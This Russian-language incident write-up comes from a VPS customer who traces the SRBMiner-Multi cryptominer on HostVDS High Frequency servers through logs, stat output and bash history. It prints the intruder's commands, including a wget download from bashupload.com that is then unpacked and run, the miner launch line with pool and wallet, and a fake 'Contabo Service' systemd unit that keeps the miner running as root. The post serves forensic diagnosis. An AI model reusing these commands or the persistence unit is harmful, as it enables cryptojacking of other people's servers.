Майнеры на High Frequency серверах HostVDS

⚠️ Важно:

Эта статья НЕ направлена против администрации HostVDS. Я сам являюсь их клиентом и уважаю их работу. Цель публикации — обратить внимание на конкретную проблему, с которой столкнулся не только я, но и другие пользователи

Речь идёт о массовом появлении майнеров на серверах линейки High Frequency (Далее HF). Это не догадки и не теория — признаки присутствия майнинга очевидны: повышенная загрузка ядер, специфичные процессы, просадка производительности

Я могу лишь продемонстрировать характерные признаки поведения майнера на пользовательских системах и попытаться доказать, что заражение не связано с действиями самих клиентов. Во всех случаях оно происходит независимо от их действий

С высокой долей вероятности, корень проблемы находится на уровне самой ноды. Либо на ней уже работает майнер, либо присутствует бэкдор (умышленный или случайный), позволяющий злоумышленникам устанавливать майнеры от имени клиентов. Именно поэтому важно рассматривать не отдельных пользователей, а инфраструктуру в целом, как потенциальный источник угрозы

Никакого желания кого-либо оскорбить или дискредитировать у меня нет. Статья — это попытка обратить внимание на проблему и способствовать её решению

Появление майнера

Первое появление майнера датируется 31 мая 2025 года, судя по сообщениям в чате HostVDS. Уже тогда один из пользователей упомянул об этом, и название майнера отчётливо просматривалось — SRBMiner-Multi

Как мы понимаем, майнер вообще не пытается скрываться. О логах поговорим чуть позже

Как мы можем видеть на скриншотах, майнер был замечен уже тогда. Однако в тот момент не все обратили внимание на проблему. Пользователю, который первым сообщил о подозрительной активности, просто посоветовали переустановить сервер. В итоге ситуация осталась без должного внимания и вскоре была забыта. Но не надолго..

Уже 2 июля майнер дал о себе знать вновь — на этот раз у другого пользователя. Ему удалось зафиксировать подозрительный процесс с помощью htop: на скриншоте отчётливо видно название SRBMiner-Multi и то, как он нагружает процессор на все 100%. Это стало ещё одним подтверждением того, что проблема не была единичным случаем

И снова наш друг. И опять, даже не скрывается...

Как мы видим, в тот момент Александр (Escalation Manager) предположил, что источник проблемы — это установленный на сервере софт, а именно 3x-ui, учитывая его популярность среди клиентов. Однако, к сожалению, это предположение абсолютно неверно, так как все клиенты, столкнувшиеся с этим майнером, используют абсолютно разное ПО

Сам же Андрей Добрынин — второй пользователь, у которого был замечен майнер — утверждает, что принял все необходимые меры предосторожности. По его словам, доступ по SSH был надёжно настроен, использовалась двухфакторная аутентификация (2FA), и возможность внешнего взлома была сведена к минимуму

5 июля 2025. Пользователь с никнеймом Серёжа сообщает о схожей ситуации. Он прикладывает скриншот из панели 3XUI, на котором отчётливо видно — процессор загружен на 100%. Позже он уточняет, что его сервер также принадлежит к линейке HF, что усиливает подозрение о наличии системной проблемы, затрагивающей именно эту категорию серверов

14 июля 2025 года пользователь с ником Анвар задаёт в чате вопрос: не получал ли кто-либо «колокол» на Финляндии в последнее время? (Для справки: колокол — это символ ограничения CPU, который появляется у пользователей, чрезмерно нагружающих процессор)

Спустя некоторое время Анвар присылает собственный скриншот из htop, где отчётливо видно всё тот же процесс с уже знакомым названием — SRBMiner-Multi

И снова ты..

15 июля 2025 года в 01:24:17 по московскому времени майнер появляется уже на моём собственном сервере. Я замечаю его присутствие через htop — процесс с тем же названием SRBMiner-Multi, характерно нагружающий CPU. Обнаружив это, я незамедлительно сообщаю о находке в чат

Я люблю ругаться..

Теперь мы встретились. Но уже лично

Теперь перейдём к более предметному разбору действий майнера непосредственно на моём сервере. Сразу оговорюсь: я не считаю себя экспертом в Linux и не обладаю глубокими техническими знаниями. Однако мой уровень достаточен, чтобы понимать, что именно я устанавливаю, какие конфигурации редактирую и где хранятся ключевые файлы доступа

Информация о сервере

Я использую сервер из линейки HF, тариф — второй, Debian 12. Он был приобретён в мае и создан 12 мая 2025 года в 16:49 по МСК

Как вы можете видеть, меня тоже наградили колокольчиком

На момент инцидента на сервере было установлено следующее ПО:

Docker (последняя версия, API отключён)
Marzban + MariaDB (установка по официальному скрипту с GitHub)
Caddy (в контейнере Docker, официальный скрипт)
NetData (для мониторинга ресурсов)
Nginx (установлен через APT)
Python (через APT)
AmneziaWG (установлена через приложение внутри Docker, но удалена за несколько дней до произошедшего)

Что касается 3XUI, — нет, я его не использовал. До недавнего времени у меня не было в этом необходимости, так как я работал с AWG, но позже принял решение перейти на Marzban

Настройки безопасности сервера

Безопасность SSH была настроена следующим образом:

Порт SSH был изменён
Вход под root отключён
Аутентификация по паролю отключена
Используются исключительно SSH-ключи

Всё ли было настроено корректно?

Проверим это:

sparkinay@server-fytfcr:~$ sudo bash -c '\
  echo "— Активные параметры SSH —"; \
  sshd -T | grep -E "^(port|permitrootlogin|passwordauthentication|authenticationmethods)"; \
  echo ""; \
  echo "— Переопределения в /etc/ssh/*.conf и /etc/ssh/sshd_config.d/*.conf —"; \
  grep -R -H -E "^(Port|PermitRootLogin|PasswordAuthentication)" \
    /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null \
'

Результат:

— Активные параметры SSH —
port 48625
permitrootlogin no
passwordauthentication no

— Переопределения в /etc/ssh/*.conf и /etc/ssh/sshd_config.d/*.conf —
/etc/ssh/sshd_config:Port 48625
/etc/ssh/sshd_config:PermitRootLogin no
/etc/ssh/sshd_config:PasswordAuthentication no

А вдруг злоумышленник подменил эти файлы?

Проверим дату последнего изменения:

sparkinay@server-fytfcr:~$ sudo stat -c '%n — Last updated: %y' \
  /etc/ssh/sshd_config \
  /etc/ssh/sshd_config.d/*.conf 2>/dev/null

/etc/ssh/sshd_config — Last updated: 2025-05-13 18:46:40.658629270 +0300

Файлы конфигурации не менялись с 13 мая — именно с того дня, когда я настраивал сервер. Никаких следов постороннего вмешательства здесь нет

А был ли вообще какой-то вход? Был. Но не удалённый, а главное неудачный

В журнале journalctl видим:

Jul 13 21:54:30 login[551]: pam_unix(login:auth): authentication failure
Jul 13 21:54:33 login[551]: FAILED LOGIN (1) on '/dev/tty1' FOR 'root', Authentication failure

Что это значит:

Кто-то пытался войти в систему через физическую или эмулированную консоль (/dev/tty1), от имени root.
Попытка провалилась, пароль не подошёл

Важно: этот вход не был удалённым. Это, возможно, попытка входа через виртуальную консоль. Через 3 секунды после попытки входа начался перезапуск системы

Может, UFW что-то видел?

SRC=13.89.125.225 DPT=4444 PROTO=TCP
SRC=194.180.49.136 DPT=42852 PROTO=TCP
SRC=204.76.203.41 DPT=10001 PROTO=UDP

Геолокация источников (примерно):

13.89.125.225 — Microsoft Azure (Согласно сайту, помечены как abuse)
194.180.49.XXX — подозрительные узлы, часто замечены в сканировании
109.205.213.9 — Кыргызстан
45.142.193.53 — возможно, ботнет или сканер

Но никто из них зайти не смог, скорее всего, это обычные сканеры

Хорошо. Так где же сидит эта бяка? Вот здесь:

sparkinay@server-fytfcr:~$ sudo ls -l /proc/940976/exe
lrwxrwxrwx 1 root root 0 Jul 15 01:28 /proc/940976/exe -> /root/.sys/SRBMiner-MULTI

В таком случае, узнаем поточнее, когда конкретно он "родился" на сервере:

sudo stat /root/.sys | grep -E "Access|Modify|Change"

Access: 2025-07-13 21:56:52.208000000 +0300
Modify: 2025-07-13 21:58:05.637300948 +0300
Change: 2025-07-13 21:58:05.637300948 +0300

Следовательно, папка и бинарник SRBMiner были размещены примерно в 21:57 по МСК 13 июля 2025 года

А как он попал на сервер?

Давайте проанализируем SSH:

2025-07-13T00:59:19 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 47582
2025-07-13T10:06:46 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 51006
2025-07-13T10:44:10 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 60319
2025-07-13T19:06:42 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 54173
2025-07-13T21:26:33 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 56025
2025-07-14T01:43:44 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 56639
2025-07-14T17:10:44 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 64299
2025-07-14T22:02:44 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 50345
2025-07-15T01:00:48 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 38290
2025-07-15T01:07:33 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 53134
2025-07-15T01:12:58 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 53912
2025-07-15T01:23:54 — Accepted publickey for sparkinay from 46.188.XXX.XXX port 47710

Этот IP принадлежит мне. Один из входов состоялся за 30 минут до появления майнера

Это я что-то поставил?

cat ~/.bash_history

Я хорошо помню, что именно в этот день я закрывал порт, который использовала AmneziaWG

Вырезка из Bashrc. Я уверен, что это был тот же самый день, когда майнер появился на сервере

Конечно, обозревать этот файл можно очень много и долго, но я абсолютно уверен, что не запускал никаких сторонних или сомнительных скриптов в период, связанный с созданием подозрительной директории .sys. В указанный день (13 июля 2025) я лишь экспериментировал с конфигурацией сервиса Amnezia и изменял системное время. Никакие сторонние установки, загрузки или изменения системных каталогов мной не производились

Но всё-таки, некоторые строки(а именно от того же 13 числа нам интересны). Во время моего отсутствия (без моего участия) были выполнены следующие команды:

wget http://bashupload.com/sVil2/x.tar.gz
cd /etc
nano resolv.conf
cd
cd .sys
wget http://bashupload.com/sVil2/x.tar.gz
tar xzvf x.tar.gz
./cpu
./po 2CPU12
./s
exit

Изменение файла /etc/resolv.conf явно было произведено не мной и автоматически заменило мой корректный DNS 1.1.1.1 на 8.8.8.8. Я никогда не пользуюсь редактором nano — вверху моего ~/.bashrc (см. фрагмент выше) чётко прописан только vim, а упоминаний nano нет, что однозначно доказывает: редактирование не выполнял я

Благодаря тому, что DNS был автоматически переключён на 8.8.8.8, 15 июля стабильно продолжал работать VLESS (на моём сервере) — именно в тот день по всему миру произошёл массовый сбой 1.1.1.1. И хотя по логике соединение должно было оборваться, майнер, запущенный злоумышленниками, фактически обеспечил моему серверу доступ к сети через альтернативный DNS

Меня дико удивило, что сервер сам по себе продолжил работу — и лишь позже выяснилось, что это стало возможно благодаря запущенному майнеру (что, на самом деле, иронично)

Тогда я ещё не подозревал, что "добросовестный" майнер помог моему серверу остаться на плаву

Хорошо, но ведь должно быть что-то, что запустило майнер. И оно было на сервере. Более того, этот же самый сервис использовался на машине пользователя, который первым сообщил о появлении майнера

sparkinay@server-fytfcr:~$ sudo journalctl --since "2025-07-13 21:55" --until "2025-07-13 22:05" \
  | grep -E "Loading|Created|Started r.service"
Jul 13 21:55:16 server-fytfcr kernel: Loading compiled-in X.509 certificates
Jul 13 21:55:16 server-fytfcr systemd[1]: Created slice system-getty.slice - Slice /system/getty.
Jul 13 21:55:16 server-fytfcr systemd[1]: Created slice system-modprobe.slice - Slice /system/modprobe.
Jul 13 21:55:16 server-fytfcr systemd[1]: Created slice system-serial\x2dgetty.slice - Slice /system/serial-getty.
Jul 13 21:55:16 server-fytfcr systemd[1]: Created slice system-systemd\x2djournald.slice - Slice /system/systemd-journald.
Jul 13 21:55:16 server-fytfcr systemd[1]: Created slice system-systemd\x2djournald\x2dvarlink.slice - Slice /system/systemd-journald-varlink.
Jul 13 21:55:16 server-fytfcr systemd[1]: Created slice user.slice - User and Session Slice.
Jul 13 21:55:18 server-fytfcr kernel: cfg80211: Loading compiled-in X.509 certificates for regulatory database
Jul 13 21:55:19 server-fytfcr kernel: Loading iSCSI transport class v2.0-870.
Jul 13 21:55:19 server-fytfcr polkitd[612]: Loading rules from directory /etc/polkit-1/rules.d
Jul 13 21:55:19 server-fytfcr polkitd[612]: Loading rules from directory /usr/share/polkit-1/rules.d
Jul 13 21:55:19 server-fytfcr dockerd[598]: time="2025-07-13T18:55:19.900107590Z" level=info msg="Loading containers: start."
Jul 13 21:55:21 server-fytfcr dockerd[598]: time="2025-07-13T18:55:21.014251751Z" level=info msg="Loading containers: done."
Jul 13 21:56:21 server-fytfcr systemd[1]: Created slice user-0.slice - User Slice of UID 0.
Jul 13 21:56:21 server-fytfcr systemd[3555]: Created slice app.slice - User Application Slice.
Jul 13 21:58:04 server-fytfcr systemd[1]: Started r.service - Contabo Service.
sparkinay@server-fytfcr:~$

sparkinay@server-fytfcr:~$ sudo head -n 30 /root/.sys/p
#!/bin/bash
./SRBMiner-MULTI -a xelishashv2_pepew --pool stratum+tcp://eu.mining4people.com:4176 --wallet PXYCqwTMKSoYRxsJEhjH6Ryv2qtUzFJms4.2CPU12 --password x --disable-gpu --cpu-threads 2 --cpu-threads-priority 5 --cpu-threads-intensity 4 --extended-log --log-file-mode 2 --miner-priority 5

sparkinay@server-fytfcr:~$ sudo head -n 30 /root/.sys/ping
#!/bin/bash
ping -c 5 jp.mining4people.com
ping -c 5 eu.mining4people.com
ping -c 5 au.mining4people.com
ping -c 5 br.mining4people.com
ping -c 5 in.mining4people.com
ping -c 5 us-west.mining4people.com
ping -c 5 us-cent.mining4people.com
ping -c 5 us-east.mining4people.com

sparkinay@server-fytfcr:~$ sudo head -n 30 /root/.sys/po
#!/bin/bash
# Check if the correct number of arguments is passed
if [ $# -ne 1 ]; then
  echo "Usage: $0 <new_name>"
  exit 1
fi
# Set the argument as the new name
new_name=$1
# Define the old name to be replaced
old_name="1CPU1"
# Replace '1CPU12' with the new name in the file 'myfile.txt'
# Change 'myfile.txt' to your target file
sed -i "s/$old_name/$new_name/g" p
sparkinay@server-fytfcr:~$ sudo head -n 30 /root/.sys/s
cp /root/.sys/r.service /etc/systemd/system/
systemctl daemon-reload
systemctl enable r.service
systemctl start r.service

sparkinay@server-fytfcr:~$ sudo head -n 30 /root/.sys/r.service
[Unit]
Description=Contabo Service
[Service]
User=root
WorkingDirectory=/root/.sys
ExecStart=/root/.sys/p
Restart=always
RestartSec=3[Install]
WantedBy=multi-user.target

Что мы имеем:

Имя службы r.service выбрано короткое и абстрактное, чтобы не бросаться в глаза при просмотре списка системных юнитов
Описание Contabo Service — фиктивное, призвано ввести администратора в заблуждение, будто это стандартная служба от хостера(правда, хостер не Contabo)
Работает от имени root, что позволяет майнеру иметь полный доступ к системе
Путь запуска ExecStart=/root/.sys/p указывает на исполняемый файл p в скрытой директории .sys в домашнем каталоге root
Параметры Restart=always и RestartSec=3 обеспечивают перезапуск майнера каждые 3 секунды в случае сбоя

Дата создания файла службы:

stat /etc/systemd/system/r.service

Modify: 2025-07-13 21:58:04 +0300

Это совпадает с первой зафиксированной активностью майнера в логах:

Jul 13 22:09:30 server-fytfcr p[4744]: [2025-07-13 19:09:25] Job received [00004e37] block height 3236241 [xelishashv2_pepew][0]

Можно уверенно утверждать, что именно r.service запускал майнер при старте системы

Что мы имеем в итоге?

Майнер буквально появился из ниоткуда — у абсолютно разных пользователей, с разным ПО, разными образами системы и даже разными уровнями защиты. Это делает практически невозможным определить точный паттерн заражения на стороне клиента

Известно лишь следующее:

Майнер действует одинаково во всех случаях
Майнер появляется внезапно, без участия клиента
Создаются одни и те же системные сервисы

Процессы имеют одинаковые названия
Несмотря на маскировку, он фактически не скрывает факт майнинга

Я не могу утверждать, но по всем признакам..

Либо:

Заражено одно или несколько физических узлов (нод),
Либо присутствует бэкдор или уязвимость, через которую злоумышленники получают доступ к серверам клиентов без их участия

С учётом вышеописанного, считаю необходимым порекомендовать администрации HostVDS провести повторную полную проверку оборудования, особенно тех нод, на которых уже были зафиксированы случаи майнинга

Спасибо за прочтение!